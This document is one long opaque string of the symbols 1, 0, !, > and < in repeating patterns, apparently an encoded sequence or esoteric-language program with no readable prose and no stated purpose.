1!1!1>0>1!1!1!1!1!1!10110>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1!1>0>1>0>1!1!1>0>1>0>10110>1!1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!1>0>10110>1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>10110>1!1!10110><1010111>01!10110>1!1!1>0>1>0>1!1>0>10110>10110>1!1>0>1!1!1>0>1>0>1!1!1!1!1!1!1!1!1!10110>10110>1!1>0>1!1!1!1>0>1!10110>1!1>0>1!1>01010111>010110>1!1>0>10110>1!1>0>1!1>0>1!1>0>1!1!10110>10110>1!10110>1!1!1>0>1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1>0>10110>1!1!1!1!1>0>1!1>0>1>0>10110>1!1>0>1>0>1!1!1!1>0>1!10110>10110>1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>10110>1!1!1>0>1!1>0>1>0>1!1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!<>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!10110>10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!10110>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!10110>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1>0>1!10110>1!1>0>10110>1!1!1!1>0>1!1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!<>10110>1!1!1>0>1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1!1>0>1>0>1!1>0>10110>10110>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!10110>1!1!1!1>0>1!1!<>1!1!1!1!1>0>10110>1!1!1!1>0>1!1!1!10110>1!10110>10110>10110>1!1>0>1!1!1!1>0>1!1!1>0>1!10110>1!10110>1!1!1>0>1!1!1!1>0>1!1>0>1>01010111>01>0>10110>1!10110>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>01010111>010110>1!1>0>1!1>0>1!1!1!1!1>0>10110>10110>1!1!1!1!1>0>10110>1!1!1!1>0>1>0>10110>1!1!1>0>1>0>10110>10110>1!10110>1!1>0>1!10110>10110>1!1>0>1>0>10110>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1!10110>1!1>0>1!1>0>1!1!1>0>1!1!1!10110>1!1!1!1!1>0>1!1>0>1!10110>10110>1!1!10110>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!10110>1!1!1>0>1!1>0>1!1>0><>1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1>01010111>01>0>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1!1!1>0>1!1!1>0>1!1!1>0>1!1!<>1!101101010111>01>0>1!1>0>10110>1!1!10110>1!1!1!10110>1!1!1!1>0>1!1!1!1>0>1>01010111>01>0>1!1>0>1!<>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0><>1>0>1!1>0>1!1>0>1>0>1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1>01010111>01!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>10110>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1!10110>10110>10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>10110>1!1!1>0>10110>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0><>1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>01010111>01>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1>0>1!1>0>1>0>10110>10110>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>10110>1!1!1!1!<>1!1!<1010111>01!1!1>01010111>01!<>1!<>1!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>01010111>01>01010111>01>0>1!1>0>1!1!<>1>0>1!1!1!1!1!10110>10110>1!1!1!1!1>0>1>0>1!1>0>1>0>10110>1!1>0>10110>10110>1!1!1!10110>1!1>0>1>0>1!1>0>1>0>1!10110>1!1>0>1!1>0>10110>1!1>0>1>0>10110>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>10110>1!1>0>10110>10110>1!1!1>0>10110>1!1!1>0>1!1!<1010111>01!1>0>1!1!1!1>0>10110>1!1!1>0>1>0>10110>1!<>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>01010111>01>0>10110>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1!1>0>1!1!10110>1!1!1!1>0><>1!1>0>1>0>10110>1!1!1!1!<>1>0>1!10110>1!1!10110>1!1!1>0>1>0>1!1!1>0>1!10110>1!1!1!1>0>1!1!1!1>0>1>01010111>01!1!1!1!1>0><>1!1!1!1>0><>1>0>1!1!1!1!1>0>1!1!1>0><>1>0>1!1!1!1>0>1>0>1!1!1>0><>1>01010111>01!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>10110>1!1>0>1!1!1!1>0>1!1!1!1!<>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>01010111>01>0>1!1!1!1!1!10110>1!1>0>1>0><>1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1!1!1!1!10110>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>1!1>0>10110>1!1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!10110>1!1!1!1>0>1>0>10110>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>10110>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>10110>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1!10110>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1>0>10110>1!1>0>1!1>0>1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1!1>0>1!1!1!<>1!1!1!1!1>0><>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1!1>01010111>01!1!1>0>1!1!1!1!1>0>1!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>01010111>01>01010111>010110>1!1>0><>1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!10110><>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1!1>0>1!1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!10110>1!1>0>1!1!1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>01010111>01!1!1>0>1!1!1!1!1>0>1!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>01010111>01>0>1!1!1!1!1!1!1!10110>1!<>1>0>1!1!1!1!1>01010111>01!1!1!1!1!<>1!1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>01010111>01>01010111>01!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0><>1!1!1>0>1!1!1!1!1>0>1!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>01010111>01>0><>1!1>0>1>0>1!<>1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1>0><1010111>01!1>0>1>0>1!1!<>1!1!<1010111>01>0><>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!<>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>01010111>01>0>1!1>0>1!1!1>01010111>01>01010111>01>0>1!1>0>1!1!<>1>0>1!1!1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>01010111>01!1!1>0>1!1!1!1>0>1!1!1!1!1>01010111>01>0>1!1!1!1>0>1!1!1>0>1!<>1!1!1!1!1>0>1!1>0>10110>10110>1!1!10110>1!<>1>0>1!1!1>0>1>0>1!1>0>1!10110>1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1>0>1!1!10110>1!1!1>0>1!1>0>1!1>0>10110>1!1>0>101101010111>01!1!1!1!1>0><1010111>01!1>0>1>0>1!1!1!1!1>0><>1!1!10110>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0><>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>01010111>01!1!1!1!1>0>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0><>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0><>1>0>1!1!1>0><>1>01010111>01!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!10110>1!10110>1!1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1!1>0><>1!1!1!1!1>0>1!10110>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!10110>1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0>1!1>0><>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0><1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!10110>1!<>1>0>1!1!1>0>1>0>10110>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1!10110>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1!1!10110>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0><>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1!1>0><1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01>0>1!1>0>1>0>1!<>1>0>1!1!1>0>1!10110>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0><>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!1!1>0>1!1!<>1>0>1!1!1>0>1>0>1!1>0>1!1!1!1!1>0>1!1!1!1>0>1>0>1!1!10110>1!101101010111>01>0>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1>0><>1!1!1!1!1>0>1>0>1!1!1>0>1!<>1!1!<>1!<>1>0>1!1>0>1!1>0>1!1!1>0>1!<1010111>01!1!1!1!1>0>1>0>1!1!1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!<1010111>01>0>1!1!1!1>0>1>0>1!1!1!1>0>1>0>1!10110>1!10110>10110>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>10110>10110>1!1!1>0>1>0>1!1!1!10110>1!1!10110>1!1!1>0>1!1!1>0>1!<>1>0>1!1!1!1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!10110>101101010111>01!1!1!1!1!10110>1!1>0>1>0>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!10110>1!1>0>1>0>10110>1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!10110>1!1>0>1!1>0>1>0>10110>1!1>01010111>01!1!10110>1!1!1!1>0>1!1>0>1!1>0>1>0><>101101010111>01>0>1!1!1>0>1>0>1!1!10110>1!1!1!10110>1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>10110>10110>1!1!1!1!<>1>0>101101010111>01>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1!1!10110>1!1!1!1>0>10110>10110>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1!1!10110>1!1!1!1>0>1!1>0><>1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>10110>1!10110>1!1>0>1!1>0>10110>1!1>0>1!1!1!<>10110>1!1>0>1>0>10110>10110>1!1>0>1>0>1!1>0>1!1!10110>1!1>0>10110>1!1!1>0>1!1!1>0>1!1>0><>1!1!1>0>1!1>0>1!1!1>0>1>0>10110>1!1>0>1>0>1!1!10110>1!1!10110>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!1!1>0>1!1!1!1!1>0>1!1!10110>1!1>0>1>01010111>01!1>0>10110>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>01010111>01>0>1!1!10110>1!1>0>1>0><>1>0>1!1!1!1>0>1!10110>1!1!1>0>1!1>0>1!1>0>10110>1!10110>1!1>0>1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1>0>1!1>0>1!1!10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!10110>10110>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1!1>0>1>0>1!1!1>0>1!1!1!1!10110>1!1!1!1>0>1!1>0>1>0>10110>1!10110>1!1>0>1>0>1!1!1>0>1>0>1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1!1>0>1!1!10110>1!1!1!1>0>1>0>1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>10110>1!1!1!1>0>1!1>0>1>0>1!10110>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>10110>1!1!10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!10110>1!1!1>0>1!1!1>0>10110>1!1>0>1!1>0>1>0>1!1!1!1!1>0>1!1!10110>101101010111>01!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!10110>1!1!1>0>1!1>0>1!1>0>10110>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>10110>1!1>0>1!10110>1!1!1!1>0>1!1!1!1!10110>1!1!1>0>1>0>1!1>0>1!1!10110>1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1!1!1!10110>1!1>0>1!1!1!10110>1!1!1>0>1!10110>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1!10110>10110>1!10110>1!1!1>0>1>0>1!1!<>1>0>1!1!1!1!1>0>10110>1!1>0>1>0>10110>1!1>0>1!1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1>0>1!1>0>1!1>0>10110>1!10110>1!1!1!1!1>0>1!1!1>0>1!10110>1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1!10110>1!1>0>1!1!1!1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>1!1>0>10110>10110>1!<>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!1!1!1>0>10110>10110>1!1!10110>1!1>0>1>0>1!10110>1!1!1!1!101101010111>01!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1!10110>1!1>01010111>01!1>0>1>0>1!1>0>10110>1!1>0>1>0>10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1>0>10110>1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!10110>1!1>0>1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1!1!<>1!1>0>1!10110>1!1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>10110>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1>0>10110>10110>1!1>0>1!1>0>1!1!1>0>1!1!1>0>101101010111>01!1>0>10110>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>10110>10110>1!1!1>0>1!1!1!10110>1!1>0>10110>1!1!1>0>1>0>10110>1!1!1>0>1>0>1!1!1>0>10110>10110>1!1!1!1>0>1!1>0>1!1!10110>10110>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!10110>1!1>0>1>0>1!1>0>1>0>1!1>01010111>01!1>0>1>0>1!1!1>0>10110>1!1>0>1!1>01010111>01!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1>0>1!10110>10110>1!1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>10110>1!10110>1!1!1>0>1>0>1!1>0>10110>10110>1!1>0>10110>1!1!1>0>1!1>01010111>01!1>0>1>0>10110>1!1!1>0>1!1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1!1!1!1!1>0><>1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!1!1>0>1!1>0>1>01010111>01!1!1>0>1!1!1>0>1!1>0>1!1>0>1!1!1!1>0>10110>1!1>0>1!1>0>1!1!1!1>0>10110>1!10110>1!1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1!1>0>1>01010111>01!1>0>1!1!1>0>1>0>1!1!10110>10110>1!10110>1!1!10110>1!10110>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1>0>1!1!10110>1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>10110>10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1!1!1!1!10110>1!1!1>0>1!1!10110>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1!1!1!1>0>1!1!1>0>1>0>1!1>0>1!1!1>0>1!10110>1!1!1>01010111>01!1>0>1!1>0>1>0>10110>1!1!1>0>1>0>1!1!1!1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1!1!1>0>1!10110>10110>1!1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1!10110>1!1>0>1!1!1!1!1>0>1>0>10110>10110>1!1>0>1!1>0>1!1>0>10110>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1!<>1!<>1!1!<>1!1!1!1!1!10110>1!1!1!1!1!1!1!1!<>1!1>01010111>01>0>1!1>0>1!1!1!1!1>0>1!<>1!<>1!1>0>1>0>1!1!1!1!10110>1!1>0>10110>1!1>0>1>0>1!1!1!1!1>0>1!1!1!1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1!1!1>01010111>01>01010111>01!1>0>1>0>1!1!<>1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!10110>1!1!<>1>0>10110>10110>1!1!1!1!10110>1!1!1!1>0>1!1!1!1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1!1>0>1>0>1!1!1>0>1>0>101101010111>01!1!1!1>0>10110>1!1>0>10110>1!1!1>0>1!1>0>1!1!1!1!1!10110>1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1!1!1>0>1!10110>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1>0>1!1>0>10110>1!1!1!1>0>1>0>1!1>0>10110>1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1!1!<>1!1>0>1>0>1!1>0>1!<>1>01010111>01>01010111>10111>01>0>1!1!1!1>0>1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01>0>10110>1!<>1>0>1!1!1>0>1!10110>1!1!1!1>0>1>0>1!1>0>10110>1!1!1!1!<>1>0>1!1>0>1>0>1!1!1>0>1!1!1>0>10110>1!1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!10110>1!1!1>0>1>0>10110>1!1>0>1!1!1>0>10110>1!1!1!1!1>0>1>0>1!1>0>1!1!1!1!10110>1!1>0>1>0>1!1>0>1>0>1!1>0>1>01010111>01>0>1!1!10110>1!1>0>1!1!1!1!10110>10110>1!1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!<>1>0>1!1!1>0>1!1!1!1>0>1!1>0>1!1!1>0>1!1>0>1!1!1>0>1!1>01010111>0<>1>0>1!1>01010111>01!1!1!1!1!1!10110>1!1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>01010111>01!10110>1!<>1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1!10110>1!1!1!1!1>0>1!1>0>1>0><>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1!1!10110>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1!1!1>0>1!1>0>1!1>01010111>01!1!1!1>0>1>0>1!1!1>0>1!1!1!1>0>1>0>1!1!<1010111>01!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0>1!1!1!1!1!10110>1!1>0>1!<>1>0>1!1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!1!1!1>0>1>0>1!1!1>0>1>0>1!1>0>1>0>1!<>1>0>1!1!1>0>1!101101010111>01!1!1>0>1!10110>10110>1!<>1>0>1!1!1>0>1!1!1!1!1>0>1!1!1!1!1>01010111>01!1!1!1>0>1!1!1!1>0>1!10110>1!1!1!1>0>1!1>0>1!1>0>1!1>0>1!1>0>1>0>1!<>1>0>1!1!<>1!1>0><>1>0>1!1!1!1>0>1!1!10110>1!1>0>1!1>0>1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1!1!1>0>1>0>1!1!10110>1!1>0>1>0>1!1!10110>1!1!1!1>0>1!10110>1!1>0>1!1>0>1>0>1!1>0>1!1!1!1>0>1>0>1!1>0>1>0>1!1!1>0>1!1>0>1!1>0>1>0>1!1!1!1>0>1!1!1>0>1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1!1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1!10110>1!1>0>10110>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>10110>1!1>0>1>0>1!1>0>1>0>1!1!1!1>0>1>0>1!1!10110>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1>0>1!1>0>1!1>0>1!1!1>0>1>0>1!1!1!1>0>1!10110>1!1!10110>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1>0>1>0>1!1>0>1!1!1>0>10110>1!1>0>1>0>1!1!10110>1!1!10110>1!1>0>1!1!1>0>1>0>1!1!10110>1!10110>1!10110>1!1!10110>1!1>0>1!1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1!1>0>1!1>0>1>0>1!1>0>1!1!1!1!1>0>1>0>1!1>0>1!1>0>1>0>1!1